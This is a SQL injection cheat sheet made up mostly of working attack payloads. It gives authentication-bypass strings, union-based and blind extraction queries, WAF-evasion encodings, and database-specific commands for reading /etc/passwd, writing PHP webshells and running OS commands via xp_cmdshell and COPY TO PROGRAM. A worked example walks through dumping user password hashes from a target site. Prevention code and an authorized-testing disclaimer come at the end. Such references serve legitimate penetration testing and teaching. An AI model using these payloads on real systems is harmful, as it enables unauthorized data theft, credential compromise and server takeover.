๐ŸŒ Web Vulnerabilities

SQL Injection Cheat Sheet

๐ŸŽฏ Quick Reference

What is SQL Injection?

SQL Injection allows attackers to manipulate database queries by injecting malicious SQL code, potentially accessing, modifying, or deleting data.

Types of SQL Injection

TypeDescriptionDetectionImpact
Union-BasedUses UNION to combine resultsError messages, data leakageHigh
Error-BasedExtracts data via error messagesDatabase errors visibleMedium-High
Boolean BlindTrue/false responsesContent changesMedium
Time-Based BlindDelays in responseResponse time variesMedium
Out-of-BandData via separate channel (DNS, HTTP)External connectionsHigh

๐Ÿ”ฅ Essential Payloads

Detection Probes

sql
1-- String context
2'
3''
4"
5""
6`
7``
8')
9"))
10';
11";
12
13-- Numeric context
141
151'
161"
171 OR 1=1
181 AND 1=1
191 OR 1=2
201 AND 1=2
21
22-- Comment indicators
23--
24#
25/**/
26;%00

Classic Payloads

sql
1-- Authentication Bypass
2admin' --
3admin' #
4admin'/*
5' OR '1'='1
6' OR 1=1--
7" OR "1"="1
8" OR 1=1--
9') OR ('1'='1
10admin' OR '1'='1'--
11admin') OR ('1'='1'--
12
13-- Universal bypass
14' OR 1=1--
15' OR 'x'='x
16' UNION SELECT NULL--

๐Ÿ—„๏ธ Database-Specific Payloads

MySQL

sql
1-- Version
2SELECT @@version
3SELECT version()
4
5-- Current User
6SELECT user()
7SELECT current_user()
8SELECT system_user()
9
10-- Database Name
11SELECT database()
12SELECT schema_name FROM information_schema.schemata
13
14-- List Tables
15SELECT table_name FROM information_schema.tables WHERE table_schema=database()
16
17-- List Columns
18SELECT column_name FROM information_schema.columns WHERE table_name='users'
19
20-- Extract Data
21SELECT username,password FROM users
22SELECT CONCAT(username,':',password) FROM users
23SELECT GROUP_CONCAT(username,':',password) FROM users
24
25-- Read File
26SELECT LOAD_FILE('/etc/passwd')
27SELECT LOAD_FILE(0x2f6574632f706173737764)
28
29-- Write File
30SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
31
32-- Command Execution (if FILE privilege)
33SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/cmd.php'

PostgreSQL

sql
1-- Version
2SELECT version()
3
4-- Current User
5SELECT user
6SELECT current_user
7SELECT session_user
8
9-- Database Name
10SELECT current_database()
11
12-- List Tables
13SELECT tablename FROM pg_tables WHERE schemaname='public'
14
15-- List Columns
16SELECT column_name FROM information_schema.columns WHERE table_name='users'
17
18-- Extract Data
19SELECT usename, passwd FROM pg_shadow
20
21-- Read File
22CREATE TABLE temp(data text);
23COPY temp FROM '/etc/passwd';
24SELECT * FROM temp;
25
26-- Command Execution
27COPY (SELECT '') TO PROGRAM 'id'
28CREATE OR REPLACE FUNCTION system(text) RETURNS text AS 'system' LANGUAGE C

MSSQL

sql
1-- Version
2SELECT @@version
3
4-- Current User
5SELECT SYSTEM_USER
6SELECT USER_NAME()
7
8-- Database Name
9SELECT DB_NAME()
10
11-- List Tables
12SELECT name FROM sysobjects WHERE xtype='U'
13SELECT table_name FROM information_schema.tables
14
15-- List Columns
16SELECT column_name FROM information_schema.columns WHERE table_name='users'
17
18-- Extract Data
19SELECT name, password_hash FROM sys.sql_logins
20
21-- Read File
22SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS x
23
24-- Command Execution
25EXEC xp_cmdshell 'whoami'
26EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
27EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Oracle

sql
1-- Version
2SELECT banner FROM v$version
3SELECT version FROM v$instance
4
5-- Current User
6SELECT user FROM dual
7SELECT username FROM all_users
8
9-- Database Name
10SELECT name FROM v$database
11SELECT global_name FROM global_name
12
13-- List Tables
14SELECT table_name FROM all_tables
15SELECT owner, table_name FROM all_tables
16
17-- List Columns
18SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
19
20-- Extract Data
21SELECT username, password FROM users
22
23-- Read File (requires Java)
24SELECT UTL_FILE.GET_LINE('DIRECTORY','filename.txt') FROM dual
25
26-- Command Execution
27-- Requires extensive setup, not straightforward

๐ŸŽฏ Union-Based Injection

Step-by-Step Process

sql
1-- 1. Detect number of columns
2' ORDER BY 1--
3' ORDER BY 2--
4' ORDER BY 3--
5-- Continue until error (finds column count)
6
7-- Alternative: UNION NULL method
8' UNION SELECT NULL--
9' UNION SELECT NULL,NULL--
10' UNION SELECT NULL,NULL,NULL--
11
12-- 2. Find vulnerable column (displays data)
13' UNION SELECT 'test',NULL,NULL--
14' UNION SELECT NULL,'test',NULL--
15' UNION SELECT NULL,NULL,'test'--
16
17-- 3. Extract database information
18' UNION SELECT database(),user(),version()--
19
20-- 4. Extract table names
21' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
22
23-- 5. Extract column names
24' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
25
26-- 6. Extract data
27' UNION SELECT username,password,email FROM users--

Practical Example

sql
1-- URL: https://target.com/product?id=1
2
3-- Find columns
4?id=1 ORDER BY 1-- โœ“
5?id=1 ORDER BY 2-- โœ“
6?id=1 ORDER BY 3-- โœ“
7?id=1 ORDER BY 4-- โœ— (3 columns confirmed)
8
9-- Find injectable column
10?id=1 UNION SELECT 'A','B','C'--
11-- 'B' appears on page (column 2 is injectable)
12
13-- Extract database
14?id=1 UNION SELECT NULL,database(),NULL--
15-- Shows: shop_db
16
17-- Get tables
18?id=1 UNION SELECT NULL,GROUP_CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema='shop_db'--
19-- Shows: products,users,orders
20
21-- Get columns from users
22?id=1 UNION SELECT NULL,GROUP_CONCAT(column_name),NULL FROM information_schema.columns WHERE table_name='users'--
23-- Shows: id,username,password,email
24
25-- Extract credentials
26?id=1 UNION SELECT NULL,GROUP_CONCAT(username,':',password),NULL FROM users--
27-- Shows: admin:5f4dcc3b5aa765d61d8327deb882cf99,user1:e99a18c428cb38d5f260853678922e03

๐Ÿ•ต๏ธ Blind SQL Injection

Boolean-Based

sql
1-- Test for vulnerability
2' AND 1=1-- (returns normal)
3' AND 1=2-- (returns different/error)
4
5-- Extract database name length
6' AND LENGTH(database())=1--
7' AND LENGTH(database())=2--
8-- Continue until true
9
10-- Extract database name character by character
11' AND SUBSTRING(database(),1,1)='a'--
12' AND SUBSTRING(database(),1,1)='b'--
13-- Continue through alphabet
14
15-- Extract data
16' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--

Time-Based

sql
1-- MySQL
2' AND SLEEP(5)--
3' OR IF(1=1,SLEEP(5),0)--
4' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
5
6-- PostgreSQL
7'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
8
9-- MSSQL
10'; IF (1=1) WAITFOR DELAY '0:0:5'--
11'; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--
12
13-- Oracle
14' AND (SELECT CASE WHEN (1=1) THEN DBMS_LOCK.SLEEP(5) ELSE NULL END FROM dual)--

๐Ÿ›ก๏ธ WAF Bypass Techniques

Comment Obfuscation

sql
1-- MySQL
2/*!SELECT*/ * FROM users
3/*!50000SELECT*/ * FROM users
4/**/SELECT/**/* FROM users
5SEL/**/ECT * FROM users
6
7-- Inline comments
8SELECT/*comment*/password/*comment*/FROM/*comment*/users

Whitespace Alternatives

sql
1-- Replace spaces with:
2SELECT/**/password/**/FROM/**/users
3SELECT%09password%09FROM%09users  -- Tab
4SELECT%0Bpassword%0BFROM%0Busers  -- Vertical tab
5SELECT%0Dpassword%0DFROM%0Dusers  -- Carriage return
6SELECT%0Apassword%0AFROM%0Ausers  -- Line feed
7SELECT%A0password%A0FROM%A0users  -- Non-breaking space

Case Manipulation

sql
SeLeCt * FrOm users
sELEct * fROM users

Encoding

sql
1-- URL encoding
2%53%45%4C%45%43%54%20%2A%20%46%52%4F%4D%20users
3
4-- Double URL encoding
5%2553%2545%254C%2545%2543%2554
6
7-- Hex encoding
8SELECT 0x61646D696E  -- 'admin' in hex

Alternative Syntax

sql
1-- UNION variations
2UNION ALL SELECT
3UNION DISTINCT SELECT
4/*!50000UNION*/ SELECT
5
6-- AND/OR alternatives
7&& (AND)
8|| (OR)

๐Ÿงช Testing Methodology

1. Detection

Test inputs: 1. ' 2. '' 3. " 4. 1 OR 1=1 5. ' OR '1'='1 6. ' OR '1'='2

2. Confirm Vulnerability

sql
1-- Numeric context
2?id=1 AND 1=1  -- Normal response
3?id=1 AND 1=2  -- Different response
4
5-- String context
6?name=admin' AND '1'='1  -- Normal
7?name=admin' AND '1'='2  -- Different

3. Identify Database

sql
' AND @@version--      -- MSSQL/MySQL
' AND version()--       -- PostgreSQL/MySQL
' AND banner--          -- Oracle

4. Enumerate

- Count columns - Find injectable columns - Extract database name - Extract table names - Extract column names - Extract data

5. Exploit

- Dump credentials - Read files - Write webshells - Execute commands - Privilege escalation

๐Ÿ” Detection Checklist

  • Test all input parameters
  • Test URL parameters
  • Test POST data
  • Test HTTP headers (User-Agent, Referer, Cookie)
  • Test JSON/XML inputs
  • Identify database type
  • Determine injection context (string/numeric)
  • Test for error messages
  • Test Boolean blind
  • Test time-based blind
  • Verify impact with data extraction

๐Ÿ›ก๏ธ Prevention

Parameterized Queries (Best)

php
1// PHP PDO
2$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
3$stmt->execute(['username' => $username]);
4
5// PHP MySQLi
6$stmt = $mysqli->prepare('SELECT * FROM users WHERE username = ?');
7$stmt->bind_param('s', $username);
8$stmt->execute();
python
# Python
cursor.execute('SELECT * FROM users WHERE username = %s', (username,))
java
// Java
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

Stored Procedures

sql
CREATE PROCEDURE GetUser @username VARCHAR(50)
AS
SELECT * FROM users WHERE username = @username

Input Validation

php
1// Whitelist approach
2if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
3    die('Invalid username');
4}
5
6// Escape (less secure than parameterized)
7$username = mysqli_real_escape_string($conn, $username);

๐Ÿ“š Tools

  • SQLMap: Automated SQL injection
  • Burp Suite: Manual testing
  • NoSQLMap: NoSQL injection
  • jSQL Injection: GUI-based tool
  • Havij: Automated exploitation

๐Ÿ’ก Pro Tips

  1. Always try ORDER BY first to find column count
  2. Use GROUP_CONCAT to extract multiple rows
  3. Check HTTP headers - often overlooked
  4. Try second-order SQLi - payload stored then executed
  5. Test JSON/XML endpoints differently
  6. Chain with XXE for more impact
  7. Look for admin panels after dumping creds
  8. Hash cracking: Use john or hashcat on dumped hashes

Only test SQL injection on:

  • โœ… Your own applications
  • โœ… Bug bounty programs (in scope)
  • โœ… Practice labs (DVWA, SQLi Labs)
  • โŒ Never on unauthorized systems

Created for educational purposes only. Use responsibly!